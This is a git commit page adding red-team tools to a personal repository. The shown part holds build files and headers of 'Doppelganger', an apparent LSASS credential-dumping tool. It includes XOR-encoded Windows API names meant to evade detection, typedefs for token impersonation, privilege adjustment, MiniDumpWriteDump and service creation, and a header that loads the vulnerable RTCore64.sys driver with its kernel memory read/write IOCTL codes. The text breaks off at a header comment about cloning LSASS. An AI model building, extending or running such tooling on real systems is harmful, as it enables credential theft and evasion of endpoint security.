etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

commit ba9249a14b9bff899fca4a9a00f9fab1d582fe81
parent 608f6811066051c9aaad518a9065502b46a59784
Author: djnn <[email protected]>
Date: Sat, 12 Apr 2025 16:53:26 +0900

adding some red team tools:)

Diffstat:
Apentest/Doppelganger/.gitignore | 48++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger.sln | 28++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/Doppelganger.vcxproj | 160+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/include/api.h | 7+++++++
Apentest/Doppelganger/Doppelganger/include/api_strings.h | 137+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/include/defs.h | 257+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/include/driver.h | 17+++++++++++++++++
Apentest/Doppelganger/Doppelganger/include/dump.h | 17+++++++++++++++++
Apentest/Doppelganger/Doppelganger/include/logger.h | 17+++++++++++++++++
Apentest/Doppelganger/Doppelganger/include/memory.h | 37+++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/include/offsets.h | 13+++++++++++++
Apentest/Doppelganger/Doppelganger/include/osinfo.h | 8++++++++
Apentest/Doppelganger/Doppelganger/include/token.h | 35+++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/include/utils.h | 16++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/api.c | 96+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/driver.c | 153+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/dump.c | 223+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/logger.c | 51+++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/main.c | 77+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/memory.c | 237+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/offsets.c | 47+++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/osinfo.c | 53+++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/token.c | 140+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/Doppelganger/src/utils.c | 116+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/README.md | 63+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/utils/HollowReaper.c | 507+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/Doppelganger/utils/RTCore64.sys | 0
Apentest/Doppelganger/utils/decrypt_xor_dump.py | 44++++++++++++++++++++++++++++++++++++++++++++
Apentest/HollowReaper/HollowReaper.c | 507+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/HollowReaper/HollowReaperNoBYOVD.c | 315+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/HollowReaper/LSASS_CDumper.c | 1153+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/HollowReaper/README.md | 49+++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/HollowReaper/xor20charkey.py | 45+++++++++++++++++++++++++++++++++++++++++++++
Apentest/NecroMirror.ps1 | 67+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Apentest/SoulDumper.ps1 | 47+++++++++++++++++++++++++++++++++++++++++++++++
Apentest/TGTConjuring.ps1 | 139+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

36 files changed, 4926 insertions(+), 0 deletions(-)

diff --git a/pentest/Doppelganger/.gitignore b/pentest/Doppelganger/.gitignore
@@ -0,0 +1,48 @@
+# Visual Studio
+.vs/
+*.vcxproj.user
+*.vcxproj.filters
+*.suo
+*.user
+*.sdf
+*.ipch
+*.opensdf
+
+# Build output
+Debug/
+Release/
+x64/
+x86/
+*.obj
+*.pdb
+*.exe
+*.ilk
+*.log
+*.tlog
+*.idb
+*.pch
+*.cache
+*.class
+*.dll
+*.lib
+*.exp
+
+# CMake (if used later)
+CMakeFiles/
+CMakeCache.txt
+cmake_install.cmake
+Makefile
+build/
+
+# Other
+*.DS_Store
+Thumbs.db
+
+# Logs or dumps
+*.dmp
+*.bak
+*.tmp
+*.log
+*.bin
+*.xor
+
diff --git a/pentest/Doppelganger/Doppelganger.sln b/pentest/Doppelganger/Doppelganger.sln
@@ -0,0 +1,28 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.12.35707.178 d17.12
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Doppelganger", "Doppelganger\Doppelganger.vcxproj", "{71023DBD-348A-403D-AB33-BAE981A666B2}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|x64 = Debug|x64
+		Debug|x86 = Debug|x86
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{71023DBD-348A-403D-AB33-BAE981A666B2}.Debug|x64.ActiveCfg = Debug|x64
+		{71023DBD-348A-403D-AB33-BAE981A666B2}.Debug|x64.Build.0 = Debug|x64
+		{71023DBD-348A-403D-AB33-BAE981A666B2}.Debug|x86.ActiveCfg = Debug|Win32
+		{71023DBD-348A-403D-AB33-BAE981A666B2}.Debug|x86.Build.0 = Debug|Win32
+		{71023DBD-348A-403D-AB33-BAE981A666B2}.Release|x64.ActiveCfg = Release|x64
+		{71023DBD-348A-403D-AB33-BAE981A666B2}.Release|x64.Build.0 = Release|x64
+		{71023DBD-348A-403D-AB33-BAE981A666B2}.Release|x86.ActiveCfg = Release|Win32
+		{71023DBD-348A-403D-AB33-BAE981A666B2}.Release|x86.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
diff --git a/pentest/Doppelganger/Doppelganger/Doppelganger.vcxproj b/pentest/Doppelganger/Doppelganger/Doppelganger.vcxproj
@@ -0,0 +1,159 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>17.0</VCProjectVersion>
+    <Keyword>Win32Proj</Keyword>
+    <ProjectGuid>{71023dbd-348a-403d-ab33-bae981a666b2}</ProjectGuid>
+    <RootNamespace>Doppelganger</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v143</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <AdditionalIncludeDirectories>$(ProjectDir)include</AdditionalIncludeDirectories>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <AdditionalIncludeDirectories>$(ProjectDir)include</AdditionalIncludeDirectories>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="src\api.c" />
+    <ClCompile Include="src\driver.c" />
+    <ClCompile Include="src\dump.c" />
+    <ClCompile Include="src\logger.c" />
+    <ClCompile Include="src\main.c" />
+    <ClCompile Include="src\memory.c" />
+    <ClCompile Include="src\offsets.c" />
+    <ClCompile Include="src\osinfo.c" />
+    <ClCompile Include="src\token.c" />
+    <ClCompile Include="src\utils.c" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClInclude Include="include\api.h" />
+    <ClInclude Include="include\api_strings.h" />
+    <ClInclude Include="include\defs.h" />
+    <ClInclude Include="include\driver.h" />
+    <ClInclude Include="include\dump.h" />
+    <ClInclude Include="include\logger.h" />
+    <ClInclude Include="include\memory.h" />
+    <ClInclude Include="include\offsets.h" />
+    <ClInclude Include="include\osinfo.h" />
+    <ClInclude Include="include\token.h" />
+    <ClInclude Include="include\utils.h" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/include/api.h b/pentest/Doppelganger/Doppelganger/include/api.h
@@ -0,0 +1,7 @@
+#pragma once
+#include <windows.h>
+#include <tlhelp32.h>
+#include <dbghelp.h>
+#include "defs.h"
+
+BOOL ResolveAllApis(void);
diff --git a/pentest/Doppelganger/Doppelganger/include/api_strings.h b/pentest/Doppelganger/Doppelganger/include/api_strings.h
@@ -0,0 +1,137 @@
+#pragma once
+
+// "Process32FirstW"
+static const unsigned char P32F_ENC[] = {
+    0x60, 0x43, 0x5D, 0x50, 0x51, 0x46, 0x45, 0x04, 0x0A, 0x7F, 0x08, 0x10, 0x10, 0x10, 0x32
+};
+
+// "Process32NextW"
+static const unsigned char P32N_ENC[] = {
+    0x60, 0x43, 0x5D, 0x50, 0x51, 0x46, 0x45, 0x04, 0x0A, 0x77, 0x04, 0x1A, 0x17, 0x33
+};
+
+// "OpenProcess"
+static const unsigned char OP_ENC[] = {
+    0x7F, 0x41, 0x57, 0x5D, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12
+};
+
+// "GetProcAddress"
+static const unsigned char GPA_ENC[] = {
+    0x77, 0x54, 0x46, 0x63, 0x46, 0x5A, 0x55, 0x76, 0x5C, 0x5D, 0x13, 0x07, 0x10, 0x17
+};
+
+// "NtCreateProcessEx"
+static const unsigned char NTCPE_ENC[] = {
+    0x7E, 0x45, 0x71, 0x41, 0x51, 0x54, 0x42, 0x52, 0x68, 0x4B, 0x0E, 0x01, 0x06, 0x17, 0x16, 0x23, 0x1F
+};
+
+// "CreateToolhelp32Snapshot"
+static const unsigned char CTH_ENC[] = {
+    0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x62, 0x58, 0x57, 0x55, 0x09, 0x07, 0x0F, 0x14, 0x56, 0x54, 0x34, 0x06, 0x08, 0x1A, 0x43, 0x59, 0x5D, 0x47
+};
+
+// "OpenProcessToken"
+static const unsigned char OPTK_ENC[] = {
+    0x7F, 0x41, 0x57, 0x5D, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12, 0x36, 0x0C, 0x0F, 0x00, 0x08
+};
+
+// "DuplicateTokenEx"
+static const unsigned char DUPTOK_ENC[] = {
+    0x74, 0x44, 0x42, 0x5F, 0x5D, 0x56, 0x57, 0x43, 0x5D, 0x6D, 0x0E, 0x09, 0x06, 0x0A, 0x20, 0x1E
+};
+
+// "ImpersonateLoggedOnUser"
+static const unsigned char IMP_ENC[] = {
+    0x79, 0x5C, 0x42, 0x56, 0x46, 0x46, 0x59, 0x59, 0x59, 0x4D, 0x04, 0x2E, 0x0C, 0x03, 0x02, 0x03, 0x03, 0x27, 0x07, 0x3F, 0x43, 0x54, 0x40
+};
+
+// "SetThreadToken"
+static const unsigned char STT_ENC[] = {
+    0x63, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x6D, 0x0E, 0x09, 0x06, 0x0A
+};
+
+// "AdjustTokenPrivileges"
+static const unsigned char ATP_ENC[] = {
+    0x71, 0x55, 0x58, 0x46, 0x47, 0x41, 0x62, 0x58, 0x53, 0x5C, 0x0F, 0x32, 0x11, 0x0D, 0x13, 0x0F, 0x0B, 0x0D, 0x0E, 0x0F, 0x43
+};
+
+// "LookupPrivilegeValueW"
+static const unsigned char LPVA_ENC[] = {
+    0x7C, 0x5E, 0x5D, 0x58, 0x41, 0x45, 0x66, 0x45, 0x51, 0x4F, 0x08, 0x0E, 0x06, 0x03, 0x00, 0x30, 0x06, 0x04, 0x1C, 0x0F, 0x67
+};
+
+// "MiniDumpWriteDump"
+static const unsigned char MDWD_ENC[] = {
+    0x7D, 0x58, 0x5C, 0x5A, 0x70, 0x40, 0x5B, 0x47, 0x6F, 0x4B, 0x08, 0x16, 0x06, 0x20, 0x10, 0x0B, 0x17
+};
+
+// "GetProcessId"
+static const unsigned char GPID_ENC[] = {
+    0x77, 0x54, 0x46, 0x63, 0x46, 0x5A, 0x55, 0x52, 0x4B, 0x4A, 0x28, 0x06
+};
+
+// "GetCurrentProcess"
+static const unsigned char GCP_ENC[] = {
+    0x77, 0x54, 0x46, 0x70, 0x41, 0x47, 0x44, 0x52, 0x56, 0x4D, 0x31, 0x10, 0x0C, 0x07, 0x00, 0x15, 0x14
+};
+
+// "CreateFileA"
+static const unsigned char CFA_ENC[] = {
+    0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x70, 0x5E, 0x54, 0x5C, 0x20
+};
+
+// "DeviceIoControl"
+static const unsigned char DIOC_ENC[] = {
+    0x74, 0x54, 0x44, 0x5A, 0x57, 0x50, 0x7F, 0x58, 0x7B, 0x56, 0x0F, 0x16, 0x11, 0x0B, 0x09
+};
+
+// "LoadLibraryW"
+static const unsigned char LLW_ENC[] = {
+    0x7C, 0x5E, 0x53, 0x57, 0x78, 0x5C, 0x54, 0x45, 0x59, 0x4B, 0x18, 0x35
+};
+
+// "EnumDeviceDrivers"
+static const unsigned char EDD_ENC[] = {
+    0x75, 0x5F, 0x47, 0x5E, 0x70, 0x50, 0x40, 0x5E, 0x5B, 0x5C, 0x25, 0x10, 0x0A, 0x12, 0x00, 0x14, 0x14
+};
+
+// "OpenSCManagerA"
+static const unsigned char OSCM_ENC[] = {
+    0x7F, 0x41, 0x57, 0x5D, 0x67, 0x76, 0x7B, 0x56, 0x56, 0x58, 0x06, 0x07, 0x11, 0x25
+};
+
+// "CreateServiceA"
+static const unsigned char CS_ENC[] = {
+    0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x65, 0x52, 0x4A, 0x4F, 0x08, 0x01, 0x06, 0x25
+};
+
+// "OpenServiceA"
+static const unsigned char OS_ENC[] = {
+    0x7F, 0x41, 0x57, 0x5D, 0x67, 0x50, 0x44, 0x41, 0x51, 0x5A, 0x04, 0x23
+};
+
+// "StartServiceA"
+static const unsigned char SS_ENC[] = {
+    0x63, 0x45, 0x53, 0x41, 0x40, 0x66, 0x53, 0x45, 0x4E, 0x50, 0x02, 0x07, 0x22
+};
+
+// "ControlService"
+static const unsigned char CSVC_ENC[] = {
+    0x73, 0x5E, 0x5C, 0x47, 0x46, 0x5A, 0x5A, 0x64, 0x5D, 0x4B, 0x17, 0x0B, 0x00, 0x01
+};
+
+// "DeleteService"
+static const unsigned char DS_ENC[] = {
+    0x74, 0x54, 0x5E, 0x56, 0x40, 0x50, 0x65, 0x52, 0x4A, 0x4F, 0x08, 0x01, 0x06
+};
+
+// "CloseServiceHandle"
+static const unsigned char CSH_ENC[] = {
+    0x73, 0x5D, 0x5D, 0x40, 0x51, 0x66, 0x53, 0x45, 0x4E, 0x50, 0x02, 0x07, 0x2B, 0x05, 0x0B, 0x02, 0x0B, 0x0D
+};
+
+
+
+
+
+
diff --git a/pentest/Doppelganger/Doppelganger/include/defs.h b/pentest/Doppelganger/Doppelganger/include/defs.h
@@ -0,0 +1,257 @@
+#pragma once
+#include <Windows.h>
+#include <TlHelp32.h>
+#include <Aclapi.h>
+#include <DbgHelp.h>
+#include <Psapi.h>
+
+// ==========================
+// Macro
+// ==========================
+
+#define InitializeObjectAttributes(p, n, a, r, s) { \
+    (p)->Length = sizeof(OBJECT_ATTRIBUTES);        \
+    (p)->RootDirectory = r;                         \
+    (p)->Attributes = a;                            \
+    (p)->ObjectName = n;                            \
+    (p)->SecurityDescriptor = s;                    \
+    (p)->SecurityQualityOfService = NULL;           \
+}
+
+#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES     0x00000004
+#define PROCESS_CREATE_FLAGS_NO_SYNCHRONIZE      0x00000008
+
+// ==========================
+// Structures
+// ==========================
+typedef struct _UNICODE_STRING {
+    USHORT Length;
+    USHORT MaximumLength;
+    PWSTR  Buffer;
+} UNICODE_STRING, * PUNICODE_STRING;
+
+typedef struct _OBJECT_ATTRIBUTES {
+    ULONG Length;
+    HANDLE RootDirectory;
+    PUNICODE_STRING ObjectName;
+    ULONG Attributes;
+    PVOID SecurityDescriptor;
+    PVOID SecurityQualityOfService;
+} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
+
+// ==========================
+// API Function Pointer Types
+// ==========================
+
+typedef BOOL(WINAPI* PFN_P32F)(
+    HANDLE hSnapshot,
+    LPPROCESSENTRY32W lppe
+    );
+
+typedef BOOL(WINAPI* PFN_P32N)(
+    HANDLE hSnapshot,
+    LPPROCESSENTRY32W lppe
+    );
+
+typedef HANDLE(WINAPI* PFN_OP)(
+    DWORD dwDesiredAccess,
+    BOOL bInheritHandle,
+    DWORD dwProcessId
+    );
+
+typedef FARPROC(WINAPI* PFN_GPA)(
+    HMODULE hModule,
+    LPCSTR lpProcName
+    );
+
+typedef NTSTATUS(NTAPI* PFN_NTCPX)(
+    PHANDLE ProcessHandle,
+    ACCESS_MASK DesiredAccess,
+    POBJECT_ATTRIBUTES ObjectAttributes,
+    HANDLE ParentProcess,
+    ULONG Flags,
+    HANDLE SectionHandle OPTIONAL,
+    HANDLE DebugPort OPTIONAL,
+    HANDLE ExceptionPort OPTIONAL,
+    BOOLEAN InJob
+    );
+
+typedef HANDLE(WINAPI* PFN_CTH)(
+    DWORD dwFlags,
+    DWORD th32ProcessID
+    );
+
+typedef BOOL(WINAPI* PFN_OPTK)(
+    HANDLE ProcessHandle,
+    DWORD DesiredAccess,
+    PHANDLE TokenHandle
+    );
+
+typedef BOOL(WINAPI* PFN_DUPTOK)(
+    HANDLE ExistingTokenHandle,
+    DWORD dwDesiredAccess,
+    LPSECURITY_ATTRIBUTES lpTokenAttributes,
+    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
+    TOKEN_TYPE TokenType,
+    PHANDLE DuplicateTokenHandle
+    );
+
+typedef BOOL(WINAPI* PFN_IMP)(
+    HANDLE hToken
+    );
+
+typedef BOOL(WINAPI* PFN_STT)(
+    PHANDLE Thread,
+    HANDLE Token
+    );
+
+typedef BOOL(WINAPI* PFN_ATP)(
+    HANDLE TokenHandle,
+    BOOL DisableAllPrivileges,
+    PTOKEN_PRIVILEGES NewState,
+    DWORD BufferLength,
+    PTOKEN_PRIVILEGES PreviousState,
+    PDWORD ReturnLength
+    );
+
+typedef BOOL(WINAPI* PFN_LPVA)(
+    LPCWSTR lpSystemName,
+    LPCWSTR lpName,
+    PLUID   lpLuid
+    );
+
+typedef BOOL(WINAPI* PFN_MDWD)(
+    HANDLE hProcess,
+    DWORD ProcessId,
+    HANDLE hFile,
+    MINIDUMP_TYPE DumpType,
+    PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
+    PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
+    PMINIDUMP_CALLBACK_INFORMATION CallbackParam
+    );
+
+typedef DWORD(WINAPI* PFN_GPID)(
+    HANDLE hProcess   // Handle to the process
+    );
+
+typedef HANDLE(WINAPI* PFN_GCP)(
+    void
+    );
+
+typedef HANDLE(WINAPI* PFN_CFA)(
+    LPCSTR lpFileName,
+    DWORD dwDesiredAccess,
+    DWORD dwShareMode,
+    LPSECURITY_ATTRIBUTES lpSecurityAttributes,
+    DWORD dwCreationDisposition,
+    DWORD dwFlagsAndAttributes,
+    HANDLE hTemplateFile
+    );
+
+typedef BOOL(WINAPI* PFN_DIOC)(
+    HANDLE hDevice,
+    DWORD dwIoControlCode,
+    LPVOID lpInBuffer,
+    DWORD nInBufferSize,
+    LPVOID lpOutBuffer,
+    DWORD nOutBufferSize,
+    LPDWORD lpBytesReturned,
+    LPOVERLAPPED lpOverlapped
+    );
+
+typedef HMODULE(WINAPI* PFN_LLW)(
+    LPCWSTR LoadLibraryW_t
+    );
+
+typedef BOOL(WINAPI* PFN_EDD)(
+    LPVOID* lpImageBase,
+    DWORD cb,
+    LPDWORD lpcbNeeded
+    );
+
+// OpenSCManagerA
+typedef SC_HANDLE(WINAPI* PFN_OSCM)(
+    LPCSTR lpMachineName,
+    LPCSTR lpDatabaseName,
+    DWORD dwDesiredAccess
+    );
+
+// CreateServiceA
+typedef SC_HANDLE(WINAPI* PFN_CS)(
+    SC_HANDLE hSCManager,
+    LPCSTR lpServiceName,
+    LPCSTR lpDisplayName,
+    DWORD dwDesiredAccess,
+    DWORD dwServiceType,
+    DWORD dwStartType,
+    DWORD dwErrorControl,
+    LPCSTR lpBinaryPathName,
+    LPCSTR lpLoadOrderGroup,
+    LPDWORD lpdwTagId,
+    LPCSTR lpDependencies,
+    LPCSTR lpServiceStartName,
+    LPCSTR lpPassword
+    );
+
+// OpenServiceA
+typedef SC_HANDLE(WINAPI* PFN_OS)(
+    SC_HANDLE hSCManager,
+    LPCSTR lpServiceName,
+    DWORD dwDesiredAccess
+    );
+
+// StartServiceA
+typedef BOOL(WINAPI* PFN_SS)(
+    SC_HANDLE hService,
+    DWORD dwNumServiceArgs,
+    LPCSTR* lpServiceArgVectors
+    );
+
+// ControlService
+typedef BOOL(WINAPI* PFN_CSVC)(
+    SC_HANDLE hService,
+    DWORD dwControl,
+    LPSERVICE_STATUS lpServiceStatus
+    );
+
+// DeleteService
+typedef BOOL(WINAPI* PFN_DS)(
+    SC_HANDLE hService
+    );
+
+// CloseServiceHandle
+typedef BOOL(WINAPI* PFN_CSH)(
+    SC_HANDLE hSCObject
+    );
+
+
+
+// ==========================
+// Function Pointer Declarations
+// ==========================
+extern PFN_P32F pP32F;
+extern PFN_P32N pP32N;
+extern PFN_OP pOP;
+extern PFN_GPA pGPA;
+extern PFN_NTCPX pNTCPX;
+extern PFN_CTH pCTH;
+extern PFN_OPTK pOPTK;
+extern PFN_DUPTOK pDUPTOK;
+extern PFN_IMP pIMP;
+extern PFN_STT pSTT;
+extern PFN_ATP pATP;
+extern PFN_LPVA pLPVA;
+extern PFN_MDWD pMDWD;
+extern PFN_GPID pGPID;
+extern PFN_GCP pGCP;
+extern PFN_CFA pCFA;
+extern PFN_DIOC pDIOC;
+extern PFN_LLW pLLW;
+extern PFN_EDD pEDD;
+extern PFN_OSCM pOSCM;
+extern PFN_CS pCS;
+extern PFN_OS pOS;
+extern PFN_SS pSS;
+extern PFN_CSVC pCSVC;
+extern PFN_DS pDS;
+extern PFN_CSH pCSH;
diff --git a/pentest/Doppelganger/Doppelganger/include/driver.h b/pentest/Doppelganger/Doppelganger/include/driver.h
@@ -0,0 +1,16 @@
+#pragma once
+#include <Windows.h>
+
+// Driver parameters
+#define DRIVER_NAME "mDriver"
+#define DRIVER_PATH "C:\\Users\\Public\\RTCore64.sys"
+#define DEVICE_NAME L"\\\\.\\RTCore64"
+
+// IOCTL codes for RTCORE64
+static const DWORD RTC64_MSR_READ_CODE = 0x80002030;
+static const DWORD RTC64_MEMORY_READ_CODE = 0x80002048;
+static const DWORD RTC64_MEMORY_WRITE_CODE = 0x8000204c;
+
+// Driver loading functions 
+int LoadAndStartDriver(void);
+int StopAndUnloadDriver(const char* driverName);
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/include/dump.h b/pentest/Doppelganger/Doppelganger/include/dump.h
@@ -0,0 +1,16 @@
+#pragma once
+
+#pragma once
+#include <Windows.h>
+
+// Clone LSASS and return handle to the clone
